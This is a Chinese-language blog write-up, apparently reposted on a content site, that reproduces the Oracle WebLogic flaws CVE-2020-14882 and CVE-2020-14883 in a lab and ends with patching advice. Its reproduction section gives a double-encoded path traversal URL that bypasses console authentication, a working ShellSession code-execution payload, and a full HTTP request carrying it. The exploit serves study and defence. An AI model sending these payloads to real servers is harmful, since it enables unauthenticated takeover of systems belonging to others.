如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

今天就跟大家聊聊有关如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

0x00简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic对比Tomcat如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

0x01漏洞概述

CVE-2020-14882: 代码执行漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。

CVE-2020-14883: 权限绕过漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console。

0x02影响版本

Oracle:Weblogic:

10.3.6.0.0

12.1.3.0.0

12.2.1.3.0

12.2.1.4.0

14.1.1.0.0

0x03环境搭建

Windows2016+WebLogic12.2.1.4

1.在Oracle官方下载,WebLogic12.2.1.4版本

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

2.安装weblogic需要java环境,这里java版本为jdk1.8.0_191

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

3.java环境安装完成后使用管理员权限运行WebLogic安装

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

4.安装时选择下一步即可,在“安装类型”中选择“含示例的完整安装”

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

5.在配置向导中,设置密码,点击创建即可

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

6.安装完成后,在浏览器访问127.0.0.1:7001/console 出现如下界面即可

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

0x04漏洞复现

1.CVE-2020-14883: 权限绕过漏洞

1.1 低权限的用户访问以下URL,通过未授权访问到管理后台页面

http://192.168.207.149:7001/console/css/%252e%252e%252fconsole.portal如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

2. CVE-2020-14882: 代码执行漏洞

2.1 在首页使用burp抓取数据包,然后发送到Repeater模块构造payload

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

2.2 在url处通过非法字符绕过访问,然后通过Gadget调用命令执行

Payload: /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)

完整数据包如下:

GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22) HTTP/1.1

Host: 192.168.207.149:7001

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: ADMINCONSOLESESSION=_i6RW6CkwbR8Zr7DOmC0qhwkfhOdOVZiWlubIcjtgogLbSWVXCAl!-1560292457; think_lang=zh-cn; PHPSESSID=0701339d3e42f0edcf094f63a3919f90; JSESSIONID=z3-RYQeKtqCOmUfkcph5xyWXJWfYJQ-6E19wRWMHtS2JPtA14MaH!-1560292457

Connection: close

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

3. 点击“发送”,在服务器稍等一下可以看到弹出了计算器

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

注:在linux中可以通过构造payload实现反弹shell

0x05修复建议

1. 在Oracle官方下载最新的漏洞补丁

https://support.oracle.com/portal/

看完上述内容,你们对如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注亿速云行业资讯频道,感谢大家的支持。

原创文章,作者:506227337,如若转载,请注明出处:https://blog.ytso.com/220536.html

(0)
上一篇 2022年1月2日
下一篇 2022年1月2日

相关推荐

发表回复

登录后才能评论